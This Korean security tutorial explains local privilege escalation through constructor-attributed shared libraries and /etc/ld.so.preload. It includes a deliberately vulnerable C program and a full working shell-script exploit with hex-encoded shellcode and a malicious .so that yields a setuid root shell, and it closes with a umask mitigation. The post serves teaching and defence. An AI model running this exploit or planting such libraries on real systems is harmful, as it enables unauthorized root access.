Exploit Writing Technique #1: Constructor, What's that?
Exploit Writing Technique #2: Basics of Shared Library
Exploit Writing Technique #3: Preloaded Shared Libraries
Exploit Writing Technique #4: Applied Exploits
정대근 보안기술팀장 (A.K.A 1ndr4)
indra@a3security.com
우리는 지금까지 중요한 포인트 2개를 살펴보았습니다.
● GCC syntax를 사용한 Constructor의 구현
● 선적재 라이브러리
위 과정에서 공유라이브러리의 Constructor의 구현 역시 가능하다는 것을 알 수 있었습니다. 지금까지 알아본 내용을 토대로 실제 exploit이 어떻게 구현이 가능한지 실 예를 통해 말씀 드려볼까 합니다.
(1) N.Korea RedStar 2.0 Incorrect permission local root exploit
지난 2012년 저희 TeamCR@K이 블로그에 포스팅 했던 글 중 북한 리눅스 '붉은별' 권한 상승 취약점을 살펴보고자 합니다. 글을 포스팅 했던 당시 내부 지침에 의해 exploit의 전체 내용을 공유드리지는 못했지만, 시일이 많이 흐른 관계로 해당 내용을 조금 더 자세하게 공유하도록 하겠습니다.
exploit은 C 버전과 Perl 버전이 존재하며, exploit 환경은 Comment 영역에 기록해 두었습니다.
붉은별 리눅스는 배포과정에서 공유라이브러리의 파일 퍼미션이 777(-rwxrwxrwx) 형태로 존재하여 기타 사용자가 해당 공유 라이브러리의 내용을 Overwrite 할 수 있는 환경이었습니다. 따라서 root 권한의 setuid bit가 설정되어 있는 대표적인 유틸리티 중 하나인 /bin/ping을 대상으로 참조되는 라이브러리를 파악했고, 네트워크 관련 라이브러리인 libresolv.so의 내용을 Overwrite하는 것으로 설정하였습니다.
exploit의 Perl 버전은 미리 컴파일 된 공유라이브러리와 쉘을 실행시키는 코드를 bzip2 압축형태로 사용했고, C 버전은 근본이 되는 C코드를 넣어 직접 컴파일 하도록 구현했었습니다. 이 때 공격에 사용될 라이브러리로 만든 코드에 Constructor 속성을 가지도록 하여 root 권한의 setuid bit가 설정된 프로그램 실행 시, root 권한의 쉘을 먼저 실행하도록 구성했습니다.
[그림 1] C버전 exploit 중 Constructor 속성을 가진 라이브러리 함수 사용 루틴
exploit을 통해 조작된 libresolv.so 라이브러리가 로드 될 때, Constructor 속성을 가진 init() 함수가 먼저 실행되므로 init() 함수 안에서 system() 함수를 통해 사용된 /bin/bash 실행이 끝난 이 후 /bin/ping의 프로그램이 정상적으로 실행되는 것을 알 수 있습니다.
[그림 2] 라이브러리의 Constructor 속성을 이용한 exploit
(2) Insecure file creation vulnerability
root 권한으로 파일을 생성할 때, 생성되는 파일의 소유 권한을 고려하지 않고 코드를 작성하는 경우 보안 취약점이 발생할 수 있습니다. 아래의 코드는 실제 저희 TeamCR@K이 모의해킹 도중 권한 상승 취약점을 이용했던 케이스로 취약점 발생 포인트만 재 구현해서 설명 드리고자 합니다.
/*
* vuln.c
*
* Coded by TeamCR@K
*
* http://teamcrak.tistory.com
*
* - A example code for insecure file creation vulnerability
*/
#include <stdio.h>
#include <dirent.h>
int main(int argc, char **argv)
{
FILE *fp = NULL;
char logfile[1024];
snprintf(logfile, sizeof(logfile), "logs/%s.log", argv[0]);
if((fp = fopen(logfile, "a+")) != NULL) {
fputs("Write log contents!\n", fp);
fclose(fp);
}
return 0;
}
위 코드는 다수개의 보안 취약점을 내포하고 있지만, 제일 큰 문제가 되는 것은 생성되는 파일의 기본 소유권한에 대해 검증하지 않는 코드라는 것입니다. 파일을 실행하면, logs 디렉터리에 프로그램 이름의 문자열을 따서 로그파일을 생성합니다. 그러나 파일 생성 시 파일 소유 권한을 지정할 수 없는 fopen() 함수를 이용하여 보안 취약점에 노출 될 수 있습니다.
다음 화면은 위 보안 취약점이 내포된 프로그램을 어떤 형태로 조작이 가능한지 테스트 해 본 화면입니다.
[그림 3] umask 를 이용해 파일 생성 시 소유 권한 조작
위 프로그램은 생성되는 파일에 대한 적절한 검증 절차가 존재하지 않아 umask를 이용해 생성되는 파일의 기본 소유 권한을 변경할 수 있고, 또한 로그파일 이름 자체가 프로그램명(Argument Value)과 연계되므로 원본 파일에 새로운 이름으로 symbolic link를 생성하여 symbolic link의 이름으로 실행한다면 로그파일 이름도 조작이 가능합니다.
기본적으로 우리가 이제까지 공부한 Constructor 개념과 /etc/ld.so.preload의 선적재 라이브러리의 특성을 이용하면 위 보안 취약점을 이용한 권한 상승 exploit의 작성이 가능할 듯 합니다.
공격을 위한 기본 시나리오는 아래와 같습니다.
1. 쉘 실행 바이너리 생성 (/tmp/.teamcrak-root)
2. /tmp/.teamcrak-root 파일을 root 권한으로 변경하고 setuid 퍼미션을 세팅할 악의적인 공유라이브러리를 Constructor 속성을 가지도록 생성 (/tmp/evil.so)
3. 로그파일을 /etc/ld.so.preload 파일로 symbolic link 생성
4. vuln 실행
5. /etc/ld.so.preload 파일 생성 확인
6. /etc/ld.so.preload 파일에 /tmp/evil.so 문자열 Overwrite
7. root 권한의 setuid 파일 실행
8. /tmp/.teamcrak-root 파일에 root 권한의 setuid bit 설정 유무 확인
9. /tmp/.teamcrak-root 파일 실행 (root 권한 획득)
다음은 위 시나리오를 기반으로 쉘 스크립트 형태로 작성한 exploit 입니다.
#!/bin/sh
TARGET="/etc/ld.so.preload"
EVIL_BIN="/tmp/evil.so"
ROOTSHELL="/tmp/.teamcrak-root"
WORKDIR="/home/indra/Project/ld.so.preload/stage3"
VICTIM="vuln"
LOGFILE="${WORKDIR}/logs/TeamCRAK.log"
echo "###########################################################################"
echo "##### Local root exploit for vulnerability example #####"
echo "##### - Insecure file creation - #####"
echo "##### #####"
echo "##### 2018.02.03 #####"
echo "##### Exploited by TeamCR@K in A3Security #####"
echo "##### #####"
echo "###########################################################################"
rm -rf ${EVIL_BIN}*
# ##################### 32BIT shared object binary
# #define ROOT "teamcrak-root\
# const char *rs = "/tmp/." ROOT;
# void __attribute__((constructor)) init(void) {
# setgid(0); setuid(0); chown(rs, 0, 0); chmod(rs, 06777); }
echo -ne "\x42\x5A\x68\x39\x31\x41\x59\x26\x53\x59\x96\xAD\xA2\x87\x00\x01\
\x67\x7F\xEF\xFF\xFF\xFE\x96\xC2\x6B\xE4\x08\x57\x44\x48\x48\xBF\
\xEF\xFE\x64\xC0\xA2\x14\x00\x41\x68\x0C\x62\x72\x68\x28\x4C\x23\
\x01\xB0\x01\x95\x81\x68\x34\x41\x53\x6C\xA8\xD0\x07\xA8\x00\x7A\
\x8D\x0F\x50\x7A\x9A\x00\xD0\x00\x06\x8D\x1E\xA0\x34\x07\xA4\xF4\
\x98\x9E\xA3\xD4\x22\x98\x99\x27\xA9\x3D\x34\x9B\x46\x80\x23\x4C\
\x4C\x8C\x09\xE8\x11\x80\x8C\x01\xA8\xD3\x26\x99\x0D\x0C\x9A\x0D\
\x31\x02\x44\xA2\x99\x94\x68\x1A\x26\x68\x00\x13\x13\x4C\x09\x93\
\x4C\x01\x0C\x4F\x51\x88\x62\x64\xC2\x69\xA6\x4D\x32\x60\xA6\x55\
\x04\x4A\x06\x10\xD2\x11\x05\x70\x50\x51\x8F\x20\xC5\x7E\x98\x51\
\x6A\x51\x73\x8C\xD1\x79\x8A\x8B\x75\x8E\x80\x30\xC8\x14\x5E\x19\
\x16\x30\x00\xD0\xB4\xA2\x14\x52\x81\x8B\x51\x07\xA6\x5F\x9E\x03\
\xF4\xF2\xB0\x5C\x7C\xEE\x5C\x40\x9C\xEB\x71\x56\xAC\x90\xFB\xCE\
\x64\x31\xD4\xE5\xB6\xD4\xA9\x89\x69\x7F\x52\xE6\x85\xED\x74\xE4\
\x4F\x34\x96\xB4\x85\x4E\xBE\x02\x18\x91\x3B\x06\xD2\x6D\x26\xD2\
\x4D\xA6\xD2\x6C\x26\x82\x0A\x11\x03\x60\xDD\x63\x64\x46\xDC\x91\
\x23\x21\xB7\x0D\x37\x62\xC5\x41\xA1\x0F\x22\x00\x2E\x98\x05\xFB\
\x3D\x6C\x57\x0D\x0A\xD1\x85\x1D\x58\x58\xF5\x76\xFD\xFB\x15\x77\
\x68\x80\x6D\x4C\x79\x56\xCA\x24\x5B\xA6\x6B\x60\x2B\x69\x0D\x16\
\x8A\x2C\xFB\x9A\x3A\xA3\x26\x86\x60\x4A\x38\x9B\x5E\x8E\xD3\x0B\
\xE6\x4E\xD0\xAB\x1D\xC3\x41\x5E\xCA\x89\xA1\x7A\x5A\x03\x29\xAB\
\x1C\x88\xF0\xE3\x80\xC4\x4E\x9D\x36\x99\x84\xA4\x95\x85\x27\x42\
\x7E\xFA\x72\x8A\xC1\xA3\xE8\xCD\xE6\x1F\x57\xA5\x2F\xC2\x4A\xDE\
\x0A\xE9\x0A\xB5\x7D\x92\x52\x76\x51\x09\x98\xF0\xE9\xA2\x92\x1C\
\x86\xC3\x85\x9B\x49\xEB\x32\x9F\x9A\x34\x05\x21\x02\x67\xC1\xA2\
\xC8\x74\xC7\x36\xCB\x1A\x90\x1A\x26\x59\x9A\x3D\xD4\xD0\x42\x39\
\x59\x70\x01\xF2\x8D\x03\x8C\x08\x98\xC3\xC0\xEF\xDA\x24\xB9\x13\
\xFA\x45\x80\x6B\x91\x25\x0A\x76\x64\x30\x53\x6C\xD9\x61\x1F\xC5\
\x56\x6C\x36\xB6\xF4\xE7\x5B\x28\x36\xF1\x17\xC0\x53\x79\x85\x10\
\x06\x22\xFA\x8E\xB0\x50\xE7\x32\x11\x58\x75\x24\x5E\x95\xC5\x6D\
\x2A\x95\x24\xCE\x70\xA3\x8F\x0A\xAC\x75\x56\x17\xA8\x81\xEA\x91\
\x25\x7B\x16\x9F\x9D\x16\xA4\x3F\x68\x89\x0F\x58\x4A\x72\xCB\xFE\
\x2E\xE4\x8A\x70\xA1\x21\x2D\x5B\x45\x0E" > ${EVIL_BIN}.bz2
bzip2 -d ${EVIL_BIN}.bz2
echo -ne "\x7F\x45\x4C\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08\x34\x00\x00\x00\
\x94\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\
\x03\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\
\x00\x80\x04\x08\x81\x00\x00\x00\x81\x00\x00\x00\x05\x00\x00\x00\
\x00\x10\x00\x00\x31\xDB\x89\xD8\xB0\x2E\xCD\x80\x31\xDB\x89\xD8\
\xB0\x17\xCD\x80\xEB\x0D\x5B\x31\xD2\x89\xD0\x52\x53\x89\xE1\xB0\
\x0B\xCD\x80\xE8\xEE\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68" > ${ROOTSHELL}
if [ -f ${ROOTSHELL} ]; then
if [ -f ${EVIL_BIN} ]; then
echo "[*] Preparing environment: OK!"
else
echo "[!] No such ${EVIL_BIN}"
break;
fi
else
echo "[!] No such ${ROOTSHELL}"
break;
fi
# Creation a symbolic link
rm -rf ${LOGFILE}; ln -sf ${TARGET} ${LOGFILE}
rm -rf TeamCRAK; ln -sf ${WORKDIR}/${VICTIM} TeamCRAK
# setup umask
umask 0000
./TeamCRAK 2>/dev/null &
if [ -f ${TARGET} ]; then
echo "${EVIL_BIN}" > ${TARGET} 2>/dev/null
break;
fi
ping 2>/dev/null 1>/dev/null
if [ -u "${ROOTSHELL}" ]; then
echo "[*] Exploit Successfully!~"
echo "[*] Voila~ r00t sh3LL!"
echo "" > ${TARGET}
${ROOTSHELL}
else
echo "[*] Exploit failed."
fi
다음은 위 exploit을 통해 실제로 root 권한의 쉘을 획득하는 화면입니다.
[그림 4] 안전하지 않은 파일 생성 취약점을 통한 로컬 권한 상승
위 exploit 구현 중 쉘을 실행하는 ELF 바이너리와 공유 라이브러리는 파일 사이즈를 극도로 최소화 하는 과정을 거쳤는데, 해당 내용은 저희 TeamCR@K에서 예전에 포스팅 했던 다음 페이지에서 살펴보실 수 있습니다.
보신바와 같이 프로그램에서 생성되는 파일의 소유 권한이 악용되는 경우 이를 어떻게 통제할 수 있을까요?
fopen() 과 같이 생성되는 파일의 소유 권한을 정의할 수 없는 경우라면, umask() 함수를 이용해 생성되는 파일의 소유 권한을 초기화 하고 사용 할 수 있을 것 입니다.
다음 화면은 fopen() 함수 사용 이전, umask() 를 사용해 파일 소유 권한을 초기화 한 후 생성된 파일을 확인하는 화면입니다.
[그림 5] umask() 함수 사용을 통한 파일 생성 시 소유 권한 초기화 결과